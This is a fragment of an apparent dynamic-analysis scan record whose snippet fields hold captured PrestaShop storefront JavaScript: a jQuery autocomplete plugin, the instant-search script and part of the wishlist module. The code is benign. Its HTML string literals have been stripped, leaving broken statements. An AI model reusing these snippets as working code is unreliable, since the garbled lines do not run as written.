{\t\t\t$input.addClass(options.loadingClass);\t\t\tif (!options.matchCase)\t\t\t\tcurrentValue = currentValue.toLowerCase();\t\t\trequest(currentValue, receiveData, hideResultsNow);\t\t} else {\t\t\tstopLoading();\t\t\tselect.hide();\t\t}\t};\t\tfunction trimWords(value) {\t\tif ( !value ) {\t\t\treturn [\"\"];\t\t}\t\tvar words = value.split( options.multipleSeparator );\t\tvar result = [];\t\t$.each(words, function(i, value) {\t\t\tif ( $.trim(value) )\t\t\t\tresult[i] = $.trim(value);\t\t});\t\treturn result;\t}\t\tfunction lastWord(value) {\t\tif ( !options.multiple )\t\t\treturn value;\t\tvar words = trimWords(value);\t\treturn words[words.length - 1];\t}\t\t// fills in the input box w/the first match (assumed to be the best match)\t// q: the term entered\t// sValue: the first matching result\tfunction autoFill(q, sValue){\t\t// autofill in the complete box w/the first match as long as the user hasn't entered in more data\t\t// if the last user key pressed was backspace, don't autofill\t\tif( options.autoFill && (lastWord($input.val()).toLowerCase() == q.toLowerCase()) && lastKeyPressCode != KEY.BACKSPACE ) {\t\t\t// fill in the value (keep the case the user has typed)\t\t\t$input.val($input.val() + sValue.substring(lastWord(previousValue).length));\t\t\t// select the portion of the value not typed by the user (so the next character will erase)\t\t\t$.Autocompleter.Selection(input, previousValue.length, previousValue.length + sValue.length);\t\t}\t};\tfunction hideResults() {\t\tclearTimeout(timeout);\t\ttimeout = setTimeout(hideResultsNow, 200);\t};\tfunction hideResultsNow() {\t\tvar wasVisible = select.visible();\t\tselect.hide();\t\tclearTimeout(timeout);\t\tstopLoading();\t\tif (options.mustMatch) {\t\t\t// call search and run callback\t\t\t$input.search(\t\t\t\tfunction (result){\t\t\t\t\t// if no value found, clear the input box\t\t\t\t\tif( !result ) {\t\t\t\t\t\tif (options.multiple) {\t\t\t\t\t\t\tvar words = trimWords($input.val()).slice(0, -1);\t\t\t\t\t\t\t$input.val( words.join(options.multipleSeparator) + (words.length ? options.multipleSeparator : \"\") );\t\t\t\t\t\t}\t\t\t\t\t\telse\t\t\t\t\t\t\t$input.val( \"\" );\t\t\t\t\t}\t\t\t\t}\t\t\t);\t\t}\t\tif (wasVisible)\t\t\t// position cursor at end of input field\t\t\t$.Autocompleter.Selection(input, input.value.length, input.value.length);\t};\tfunction receiveData(q, data) {\t\tif ( data && data.length && hasFocus ) {\t\t\tstopLoading();\t\t\tselect.display(data, q);\t\t\tautoFill(q, data[0].value);\t\t\tselect.show();\t\t} else {\t\t\thideResultsNow();\t\t}\t};\tfunction request(term, success, failure) {\t\tif (!options.matchCase)\t\t\tterm = term.toLowerCase();\t\tvar data = cache.load(term);\t\t// recieve the cached data\t\tif (data && data.length) {\t\t\tsuccess(term, data);\t\t// if an AJAX url has been supplied, try loading the data now\t\t} else if( (typeof options.url == \"string\") && (options.url.length > 0) ){\t\t\t\t\t\tvar extraParams = {\t\t\t\ttimestamp: +new Date()\t\t\t};\t\t\t$.each(options.extraParams, function(key, param) {\t\t\t\textraParams[key] = typeof param == \"function\" ? param() : param;\t\t\t});\t\t\t\t\t\t$.ajax({\t\t\t\t// try to leverage ajaxQueue plugin to abort previous requests\t\t\t\tmode: \"abort\",\t\t\t\t// limit abortion to this input\t\t\t\tport: \"autocomplete\" + input.name,\t\t\t\tdataType: options.dataType,\t\t\t\turl: options.url,\t\t\t\tdata: $.extend({\t\t\t\t\tq: lastWord(term),\t\t\t\t\tlimit: options.max\t\t\t\t}, extraParams),\t\t\t\tsuccess: function(data) {\t\t\t\t\tvar parsed = options.parse && options.parse(data) || parse(data);\t\t\t\t\tcache.add(term, parsed);\t\t\t\t\tsuccess(term, parsed);\t\t\t\t}\t\t\t});\t\t} else {\t\t\t// if we have a failure, we need to empty the list -- this prevents the the [TAB] key from selecting the last successful match\t\t\tselect.emptyList();\t\t\tfailure(term);\t\t}\t};\t\tfunction parse(data) {\t\tvar parsed = [];\t\tvar rows = data.split(\"\\n\");\t\tfor (var i=0; i < rows.length; i++) {\t\t\tvar row = $.trim(rows[i]);\t\t\tif (row) {\t\t\t\trow = row.split(\"|\");\t\t\t\tparsed[parsed.length] = {\t\t\t\t\tdata: row,\t\t\t\t\tvalue: row[0],\t\t\t\t\tresult: options.formatResult && options.formatResult(row, row[0]) || row[0]\t\t\t\t};\t\t\t}\t\t}\t\treturn parsed;\t};\tfunction stopLoading() {\t\t$input.removeClass(options.loadingClass);\t};};$.Autocompleter.defaults = {\tinputClass: \"ac_input\",\tresultsClass: \"ac_results\",\tloadingClass: \"ac_loading\",\tminChars: 1,\tdelay: 400,\tmatchCase: false,\tmatchSubset: true,\tmatchContains: false,\tcacheLength: 10,\tmax: 100,\tmustMatch: false,\textraParams: {},\tselectFirst: true,\tformatItem: function(row) { return row[0]; },\tformatMatch: null,\tautoFill: false,\twidth: 0,\tmultiple: false,\tmultipleSeparator: \", \",\thighlight: function(value, term) {\t\treturn value.replace(new RegExp(\"(?![^&;]+;)(?!<[^<>]*)(\" + term.replace(/([\\^\\$\\(\\)\\[\\]\\{\\}\\*\\.\\+\\?\\|\\\\])/gi, \"\\\\$1\") + \")(?![^<>]*>)(?![^&;]+;)\", \"gi\"), \"$1\");\t}, scroll: true, scrollHeight: 180};$.Autocompleter.Cache = function(options) {\tvar data = {};\tvar length = 0;\t\tfunction matchSubset(s, sub) {\t\tif (!options.matchCase) \t\t\ts = s.toLowerCase();\t\tvar i = s.indexOf(sub);\t\tif (i == -1) return false;\t\treturn i == 0 || options.matchContains;\t};\t\tfunction add(q, value) {\t\tif (length > options.cacheLength){\t\t\tflush();\t\t}\t\tif (!data[q]){ \t\t\tlength++;\t\t}\t\tdata[q] = value;\t}\t\tfunction populate(){\t\tif( !options.data ) return false;\t\t// track the matches\t\tvar stMatchSets = {},\t\t\tnullData = 0;\t\t// no url was specified, we need to adjust the cache length to make sure it fits the local data store\t\tif( !options.url ) options.cacheLength = 1;\t\t\t\t// track all options for minChars = 0\t\tstMatchSets[\"\"] = [];\t\t\t\t// loop through the array and create a lookup structure\t\tfor ( var i = 0, ol = options.data.length; i < ol; i++ ) {\t\t\tvar rawValue = options.data[i];\t\t\t// if rawValue is a string, make an array otherwise just reference the array\t\t\trawValue = (typeof rawValue == \"string\") ? [rawValue] : rawValue;\t\t\t\t\t\tvar value = options.formatMatch(rawValue, i+1, options.data.length);\t\t\tif ( value === false )\t\t\t\tcontinue;\t\t\t\t\t\t\tvar firstChar = value.charAt(0).toLowerCase();\t\t\t// if no lookup array for this character exists, look it up now\t\t\tif( !stMatchSets[firstChar] ) \t\t\t\tstMatchSets[firstChar] = [];\t\t\t// if the match is a string\t\t\tvar row = {\t\t\t\tvalue: value,\t\t\t\tdata: rawValue,\t\t\t\tresult: options.formatResult && options.formatResult(rawValue) || value\t\t\t};\t\t\t\t\t\t// push the current match into the set list\t\t\tstMatchSets[firstChar].push(row);\t\t\t// keep track of minChars zero items\t\t\tif ( nullData++ < options.max ) {\t\t\t\tstMatchSets[\"\"].push(row);\t\t\t}\t\t};\t\t// add the data items to the cache\t\t$.each(stMatchSets, function(i, value) {\t\t\t// increase the cache size\t\t\toptions.cacheLength++;\t\t\t// add to the cache\t\t\tadd(i, value);\t\t});\t}\t\t// populate any existing data\tsetTimeout(populate, 25);\t\tfunction flush(){\t\tdata = {};\t\tlength = 0;\t}\t\treturn {\t\tflush: flush,\t\tadd: add,\t\tpopulate: populate,\t\tload: function(q) {\t\t\tif (!options.cacheLength || !length)\t\t\t\treturn null;\t\t\t/* \t\t\t * if dealing w/local data and matchContains than we must make sure\t\t\t * to loop through all the data collections looking for matches\t\t\t */\t\t\tif( !options.url && options.matchContains ){\t\t\t\t// track all matches\t\t\t\tvar csub = [];\t\t\t\t// loop through all the data grids for matches\t\t\t\tfor( var k in data ){\t\t\t\t\t// don't search through the stMatchSets[\"\"] (minChars: 0) cache\t\t\t\t\t// this prevents duplicates\t\t\t\t\tif( k.length > 0 ){\t\t\t\t\t\tvar c = data[k];\t\t\t\t\t\t$.each(c, function(i, x) {\t\t\t\t\t\t\t// if we've got a match, add it to the array\t\t\t\t\t\t\tif (matchSubset(x.value, q)) {\t\t\t\t\t\t\t\tcsub.push(x);\t\t\t\t\t\t\t}\t\t\t\t\t\t});\t\t\t\t\t}\t\t\t\t}\t\t\t\t\t\t\t\treturn csub;\t\t\t} else \t\t\t// if the exact item exists, use it\t\t\tif (data[q]){\t\t\t\treturn data[q];\t\t\t} else\t\t\tif (options.matchSubset) {\t\t\t\tfor (var i = q.length - 1; i >= options.minChars; i--) {\t\t\t\t\tvar c = data[q.substr(0, i)];\t\t\t\t\tif (c) {\t\t\t\t\t\tvar csub = [];\t\t\t\t\t\t$.each(c, function(i, x) {\t\t\t\t\t\t\tif (matchSubset(x.value, q)) {\t\t\t\t\t\t\t\tcsub[csub.length] = x;\t\t\t\t\t\t\t}\t\t\t\t\t\t});\t\t\t\t\t\treturn csub;\t\t\t\t\t}\t\t\t\t}\t\t\t}\t\t\treturn null;\t\t}\t};};$.Autocompleter.Select = function (options, input, select, config) {\tvar CLASSES = {\t\tACTIVE: \"ac_over\"\t};\t\tvar listItems,\t\tactive = -1,\t\tdata,\t\tterm = \"\",\t\tneedsInit = true,\t\telement,\t\tlist;\t\t// Create results\tfunction init() {\t\tif (!needsInit)\t\t\treturn;\t\telement = $(\"
\")\t\t.hide()\t\t.addClass(options.resultsClass)\t\t.css(\"position\", \"absolute\")\t\t.appendTo(document.body);\t\t\tlist = $(\"
    \").appendTo(element).mouseover( function(event) {\t\t\tif(target(event).nodeName && target(event).nodeName.toUpperCase() == 'LI') {\t active = $(\"li\", list).removeClass(CLASSES.ACTIVE).index(target(event));\t\t\t $(target(event)).addClass(CLASSES.ACTIVE); \t }\t\t}).click(function(event) {\t\t\t$(target(event)).addClass(CLASSES.ACTIVE);\t\t\tselect();\t\t\t// TODO provide option to avoid setting focus again after selection? useful for cleanup-on-focus\t\t\tinput.focus();\t\t\treturn false;\t\t}).mousedown(function() {\t\t\tconfig.mouseDownOnSelect = true;\t\t}).mouseup(function() {\t\t\tconfig.mouseDownOnSelect = false;\t\t});\t\t\t\tif( options.width > 0 )\t\t\telement.css(\"width\", options.width);\t\t\t\t\tneedsInit = false;\t} \t\tfunction target(event) {\t\tvar element = event.target;\t\twhile(element && element.tagName != \"LI\")\t\t\telement = element.parentNode;\t\t// more fun with IE, sometimes event.target is empty, just ignore it then\t\tif(!element)\t\t\treturn [];\t\treturn element;\t}\tfunction moveSelect(step) {\t\tlistItems.slice(active, active + 1).removeClass(CLASSES.ACTIVE);\t\tmovePosition(step); var activeItem = listItems.slice(active, active + 1).addClass(CLASSES.ACTIVE); if(options.scroll) { var offset = 0; listItems.slice(0, active).each(function() {\t\t\t\toffset += this.offsetHeight;\t\t\t}); if((offset + activeItem[0].offsetHeight - list.scrollTop()) > list[0].clientHeight) { list.scrollTop(offset + activeItem[0].offsetHeight - list.innerHeight()); } else if(offset < list.scrollTop()) { list.scrollTop(offset); } }\t};\t\tfunction movePosition(step) {\t\tactive += step;\t\tif (active < 0) {\t\t\tactive = listItems.size() - 1;\t\t} else if (active >= listItems.size()) {\t\t\tactive = 0;\t\t}\t}\t\tfunction limitNumberOfItems(available) {\t\treturn options.max && options.max < available\t\t\t? options.max\t\t\t: available;\t}\t\tfunction fillList() {\t\tlist.empty();\t\tvar max = limitNumberOfItems(data.length);\t\tfor (var i=0; i < max; i++) {\t\t\tif (!data[i])\t\t\t\tcontinue;\t\t\tvar formatted = options.formatItem(data[i].data, i+1, max, data[i].value, term);\t\t\tif ( formatted === false )\t\t\t\tcontinue;\t\t\tvar li = $(\"
  • \").html( options.highlight(formatted, term) ).addClass(i%2 == 0 ? \"ac_even\" : \"ac_odd\").appendTo(list)[0];\t\t\t$.data(li, \"ac_data\", data[i]);\t\t}\t\tlistItems = list.find(\"li\");\t\tif ( options.selectFirst ) {\t\t\tlistItems.slice(0, 1).addClass(CLASSES.ACTIVE);\t\t\tactive = 0;\t\t}\t\t// apply bgiframe if available\t\tif ( $.fn.bgiframe )\t\t\tlist.bgiframe();\t}\t\treturn {\t\tdisplay: function(d, q) {\t\t\tinit();\t\t\tdata = d;\t\t\tterm = q;\t\t\tfillList();\t\t},\t\tnext: function() {\t\t\tmoveSelect(1);\t\t},\t\tprev: function() {\t\t\tmoveSelect(-1);\t\t},\t\tpageUp: function() {\t\t\tif (active != 0 && active - 8 < 0) {\t\t\t\tmoveSelect( -active );\t\t\t} else {\t\t\t\tmoveSelect(-8);\t\t\t}\t\t},\t\tpageDown: function() {\t\t\tif (active != listItems.size() - 1 && active + 8 > listItems.size()) {\t\t\t\tmoveSelect( listItems.size() - 1 - active );\t\t\t} else {\t\t\t\tmoveSelect(8);\t\t\t}\t\t},\t\thide: function() {\t\t\telement && element.hide();\t\t\tlistItems && listItems.removeClass(CLASSES.ACTIVE);\t\t\tactive = -1;\t\t},\t\tvisible : function() {\t\t\treturn element && element.is(\":visible\");\t\t},\t\tcurrent: function() {\t\t\treturn this.visible() && (listItems.filter(\".\" + CLASSES.ACTIVE)[0] || options.selectFirst && listItems[0]);\t\t},\t\tshow: function() {\t\t\tvar offset = $(input).offset();\t\t\telement.css({\t\t\t\twidth: typeof options.width == \"string\" || options.width > 0 ? options.width : ($(input).width() + parseInt($(input).css('padding-left')) + parseInt($(input).css('padding-right')) + parseInt($(input).css('margin-left')) + parseInt($(input).css('margin-right'))),\t\t\t\ttop: offset.top + input.offsetHeight,\t\t\t\tleft: offset.left\t\t\t}).show(); if(options.scroll) { list.css({\t\t\t\t\tmaxHeight: options.scrollHeight,\t\t\t\t\toverflow: 'auto'\t\t\t\t});\t\t\t\t if($.browser.msie && typeof document.body.style.maxHeight === \"undefined\") {\t\t\t\t\tvar listHeight = 0;\t\t\t\t\tlistItems.each(function() {\t\t\t\t\t\tlistHeight += this.offsetHeight;\t\t\t\t\t});\t\t\t\t\tvar scrollbarsVisible = listHeight > options.scrollHeight; list.css('height', scrollbarsVisible ? options.scrollHeight : listHeight );\t\t\t\t\tif (!scrollbarsVisible) {\t\t\t\t\t\t// IE doesn't recalculate width when scrollbar disappears\t\t\t\t\t\tlistItems.width( list.width() - parseInt(listItems.css(\"padding-left\")) - parseInt(listItems.css(\"padding-right\")) );\t\t\t\t\t} } }\t\t},\t\tselected: function() {\t\t\tvar selected = listItems && listItems.filter(\".\" + CLASSES.ACTIVE).removeClass(CLASSES.ACTIVE);\t\t\treturn selected && selected.length && $.data(selected[0], \"ac_data\");\t\t},\t\temptyList: function (){\t\t\tlist && list.empty();\t\t},\t\tunbind: function() {\t\t\telement && element.remove();\t\t}\t};};$.Autocompleter.Selection = function(field, start, end) {\tif( field.createTextRange ){\t\tvar selRange = field.createTextRange();\t\tselRange.collapse(true);\t\tselRange.moveStart(\"character\", start);\t\tselRange.moveEnd(\"character\", end);\t\tselRange.select();\t} else if( field.setSelectionRange ){\t\tfield.setSelectionRange(start, end);\t} else {\t\tif( field.selectionStart ){\t\t\tfield.selectionStart = start;\t\t\tfield.selectionEnd = end;\t\t}\t}\tfield.focus();};})(jQuery);", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/var instantSearchQueries = [];$(document).ready(function(){\tif (typeof blocksearch_type == 'undefined')\t\treturn;\tvar $input = $(\"#search_query_\" + blocksearch_type);\tvar width_ac_results = \t$input.parent('form').outerWidth();\tif (typeof ajaxsearch != 'undefined' && ajaxsearch) {\t\t$input.autocomplete(\t\t\tsearch_url,\t\t\t{\t\t\t\tminChars: 3,\t\t\t\tmax: 10,\t\t\t\twidth: (width_ac_results > 0 ? width_ac_results : 500),\t\t\t\tselectFirst: false,\t\t\t\tscroll: false,\t\t\t\tdataType: \"json\",\t\t\t\tformatItem: function(data, i, max, value, term) {\t\t\t\t\treturn value;\t\t\t\t},\t\t\t\tparse: function(data) {\t\t\t\t\tvar mytab = [];\t\t\t\t\tfor (var i = 0; i < data.length; i++)\t\t\t\t\t\tmytab[mytab.length] = { data: data[i], value: data[i].cname + ' > ' + data[i].pname };\t\t\t\t\treturn mytab;\t\t\t\t},\t\t\t\textraParams: {\t\t\t\t\tajaxSearch: 1,\t\t\t\t\tid_lang: id_lang\t\t\t\t}\t\t\t}\t\t)\t\t.result(function(event, data, formatted) {\t\t\t$input.val(data.pname);\t\t\tdocument.location.href = data.product_link;\t\t});\t}\tif (typeof instantsearch != 'undefined' && instantsearch) {\t\t$input.on('keyup', function(){\t\t\tif($(this).val().length > 4)\t\t\t{\t\t\t\tstopInstantSearchQueries();\t\t\t\tinstantSearchQuery = $.ajax({\t\t\t\t\turl: search_url + '?rand=' + new Date().getTime(),\t\t\t\t\tdata: {\t\t\t\t\t\tinstantSearch: 1,\t\t\t\t\t\tid_lang: id_lang,\t\t\t\t\t\tq: $(this).val()\t\t\t\t\t},\t\t\t\t\tdataType: 'html',\t\t\t\t\ttype: 'POST',\t\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\t\tasync: true,\t\t\t\t\tcache: false,\t\t\t\t\tsuccess: function(data){\t\t\t\t\t\tif ($input.val().length > 0) {\t\t\t\t\t\t\ttryToCloseInstantSearch();\t\t\t\t\t\t\t$('#center_column').attr('id', 'old_center_column');\t\t\t\t\t\t\t$('#old_center_column').after('
    ' + data + '
    ').hide();\t\t\t\t\t\t\t// Button override\t\t\t\t\t\t\tajaxCart.overrideButtonsInThePage();\t\t\t\t\t\t\t$(\"#instant_search_results a.close\").on('click', function() {\t\t\t\t\t\t\t\t$input.val('');\t\t\t\t\t\t\t\treturn tryToCloseInstantSearch();\t\t\t\t\t\t\t});\t\t\t\t\t\t\treturn false;\t\t\t\t\t\t}\t\t\t\t\t\telse\t\t\t\t\t\t\ttryToCloseInstantSearch();\t\t\t\t\t}\t\t\t\t});\t\t\t\tinstantSearchQueries.push(instantSearchQuery);\t\t\t}\t\t\telse\t\t\t\ttryToCloseInstantSearch();\t\t});\t}});function tryToCloseInstantSearch(){\tvar $oldCenterColumn = $('#old_center_column');\tif ($oldCenterColumn.length > 0)\t{\t\t$('#center_column').remove();\t\t$oldCenterColumn.attr('id', 'center_column').show();\t\treturn false;\t}}function stopInstantSearchQueries(){\tfor(var i=0; i* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*//*** Update WishList Cart by adding, deleting, updating objects** @return void*///global variablesvar wishlistProductsIds = [];$(document).ready(function(){\twishlistRefreshStatus();\t$(document).on('change', 'select[name=wishlists]', function(){\t\tWishlistChangeDefault('wishlist_block_list', $(this).val());\t});\t$(\"#wishlist_button\").popover({\t\thtml: true,\t\tcontent: function () { \treturn $(\"#popover-content\").html(); \t} \t}); \t$('.wishlist').each(function() { \t\tcurrent = $(this); \t\t$(this).children('.wishlist_button_list').popover({ \t\t\thtml: true, \t\t\tcontent: function () { \t\t\t\treturn current.children('.popover-content').html(); \t\t\t} \t\t}); \t});});function WishlistCart(id, action, id_product, id_product_attribute, quantity, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\turl: baseDir + 'modules/blockwishlist/cart.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tcache: false,\t\tdata: 'action=' + action + '&id_product=' + id_product + '&quantity=' + quantity + '&token=' + static_token + '&id_product_attribute=' + id_product_attribute + '&id_wishlist=' + id_wishlist,\t\tsuccess: function(data)\t\t{\t\t\tif (action == 'add')\t\t\t{\t\t\t\tif (isLogged == true) {\t\t\t\t\twishlistProductsIdsAdd(id_product);\t\t\t\t\twishlistRefreshStatus();\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '

    ' + added_to_wishlist + '

    '\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(added_to_wishlist);\t\t\t\t}\t\t\t\telse\t\t\t\t{\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '

    ' + loggin_required + '

    '\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(loggin_required);\t\t\t\t}\t\t\t}\t\t\tif (action == 'delete') {\t\t\t\twishlistProductsIdsRemove(id_product);\t\t\t\twishlistRefreshStatus();\t\t\t}\t\t\tif($('#' + id).length != 0)\t\t\t{\t\t\t\t$('#' + id).slideUp('normal');\t\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t\t$('#' + id).slideDown('normal');\t\t\t}\t\t}\t});}/*** Change customer default wishlist** @return void*/function WishlistChangeDefault(id, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\turl: baseDir + 'modules/blockwishlist/cart.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tdata: 'id_wishlist=' + id_wishlist + '&token=' + static_token,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\t$('#' + id).slideUp('normal');\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t$('#' + id).slideDown('normal');\t\t}\t});}/*** Buy Product** @return void*/function WishlistBuyProduct(token, id_product, id_product_attribute, id_quantity, button, ajax){\tif(ajax)\t\tajaxCart.add(id_product, id_product_attribute, false, button, 1, [token, id_quantity]);\telse\t{\t\t$('#' + id_quantity).val(0);\t\tWishlistAddProductCart(token, id_product, id_product_attribute, id_quantity)\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].method='POST';\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].action=baseUri + '?controller=cart';\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].elements['token'].value = static_token;\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].submit();\t}\treturn (true);}function WishlistAddProductCart(token, id_product, id_product_attribute, id_quantity){\tif ($('#' + id_quantity).val() <= 0)\t\treturn (false);\t$.ajax({\t\t\ttype: 'GET',\t\t\turl: baseDir + 'modules/blockwishlist/buywishlistproduct.php?rand=' + new Date().getTime(),\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\tdata: 'token=' + token + '&static_token=' + static_token + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute,\t\t\tasync: true,\t\t\tcache: false,\t\t\tsuccess: function(data)\t\t\t{\t\t\t\tif (data)\t\t\t\t{\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '

    ' + data + '

    '\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(data);\t\t\t\t}\t\t\t\telse\t\t\t\t\t$('#' + id_quantity).val($('#' + id_quantity).val() - 1);\t\t\t}\t});\treturn (true);}/*** Show wishlist managment page** @return void*/function WishlistManage(id, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: baseDir + 'modules/blockwishlist/managewishlist.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tdata: 'id_wishlist=' + id_wishlist + '&refresh=' + false,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\t$('#' + id).hide();\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t$('#' + id).fadeIn('slow');\t\t\t$('.wishlist_change_button').each(function(index) {\t\t\t\t$(this).popover({\t\t\t\t\thtml: true,\t\t\t\t\tcontent: function () {\t \t\t\t\treturn $(this).next('.popover-content').html();\t \t\t\t}\t \t\t \t});\t\t\t});\t\t}\t});}/*** Show wishlist product managment page** @return void*/function WishlistProductManage(id, action, id_wishlist, id_product, id_product_attribute, quantity, priority){\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: baseDir + 'modules/blockwishlist/managewishlist.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tdata: 'action=' + action + '&id_wishlist=' + id_wishlist + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute + '&quantity=' + quantity + '&priority=' + priority + '&refresh=' + true,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\tif (action == 'delete')\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast');\t\t\telse if (action == 'update')\t\t\t{\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast');\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeIn('fast');\t\t\t}\t\t\tnb_products = 0;\t\t\t$(\"[id^='quantity']\").each(function(index, element){\t\t\t\tnb_products += parseInt(element.value);\t\t\t});\t\t\t$(\"#wishlist_\"+id_wishlist).children('td').eq(1).html(nb_products);\t\t}\t});}/*** Delete wishlist** @return boolean succeed*/function WishlistDelete(id, id_wishlist, msg){\tvar res = confirm(msg);\tif (res == false)\t\treturn (false);\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\tdataType: \"json\",\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tcache: false,\t\tdata: {\t\t\trand: new Date().getTime(),\t\t\tdeleted: 1,\t\t\tmyajax: 1,\t\t\tid_wishlist: id_wishlist,\t\t\taction: 'deletelist'\t\t},\t\tsuccess: function(data)\t\t{\t\t\tvar mywishlist_siblings_count = $('#' + id).siblings().length;\t\t\t$('#' + id).fadeOut('slow').remove();\t\t\t$(\"#block-order-detail\").html('');\t\t\tif (mywishlist_siblings_count == 0)\t\t\t\t$(\"#block-history\").remove();\t\t\tif (data.id_default)\t\t\t{\t\t\t\tvar td_default = $(\"#wishlist_\"+data.id_default+\" > .wishlist_default\");\t\t\t\t$(\"#wishlist_\"+data.id_default+\" > .wishlist_default > a\").remove();\t\t\t\ttd_default.append('

    ');\t\t\t}\t\t}\t});}function WishlistDefault(id, id_wishlist){\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tcache: false,\t\tdata: {\t\t\trand:new Date().getTime(),\t\t\t'default': 1,\t\t\tid_wishlist:id_wishlist,\t\t\tmyajax: 1,\t\t\taction: 'setdefault'\t\t},\t\tsuccess: function (data)\t\t{\t\t\tvar old_default_id = $(\".is_wish_list_default\").parents(\"tr\").attr(\"id\");\t\t\tvar td_check = $(\".is_wish_list_default\").parent();\t\t\t$(\".is_wish_list_default\").remove();\t\t\ttd_check.append('');\t\t\tvar td_default = $(\"#\"+id+\" > .wishlist_default\");\t\t\t$(\"#\"+id+\" > .wishlist_default > a\").remove();\t\t\ttd_default.append('

    ');\t\t}\t});}/*** Hide/Show bought product** @return void*/function WishlistVisibility(bought_class, id_button){\tif ($('#hide' + id_button).is(':hidden'))\t{\t\t$('.' + bought_class).slideDown('fast');\t\t$('#show' + id_button).hide();\t\t$('#hide' + id_button).css('display', 'block');\t}\telse\t{\t\t$('.' + bought_class).slideUp('fast');\t\t$('#hide' + id_button).hide();\t\t$('#show' + id_button).css('display', 'block');\t}}/*** Send wishlist by email** @return void*/function WishlistSend(id, id_wishlist, id_email){\t$.post(\t\tbaseDir + 'modules/blockwishlist/sendwishlist.php',\t\t{\t\t\ttoken: static_token,\t\t\tid_wishlist: id_wishlist,\t\t\temail1: $('#' + id_email + '1').val(),\t\t\temail2: $('#' + id_email + '2').val(),\t\t\temail3: $('#' + id_email + '3').val(),\t\t\temail4: $('#' + id_email + '4').val(),\t\t\temail5: $('#' + id_email + '5').val(),\t\t\temail6: $('#' + id_email + '6').val(),\t\t\temail7: $('#' + id_email + '7').val(),\t\t\temail8: $('#' + id_email + '8').val(),\t\t\temail9: $('#' + id_email + '9').val(),\t\t\temail10: $('#' + id_email + '10').val()\t\t},\t\tfunction(data)\t\t{\t\t\tif (data)\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t{\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\tcontent: '

    ' + data + '

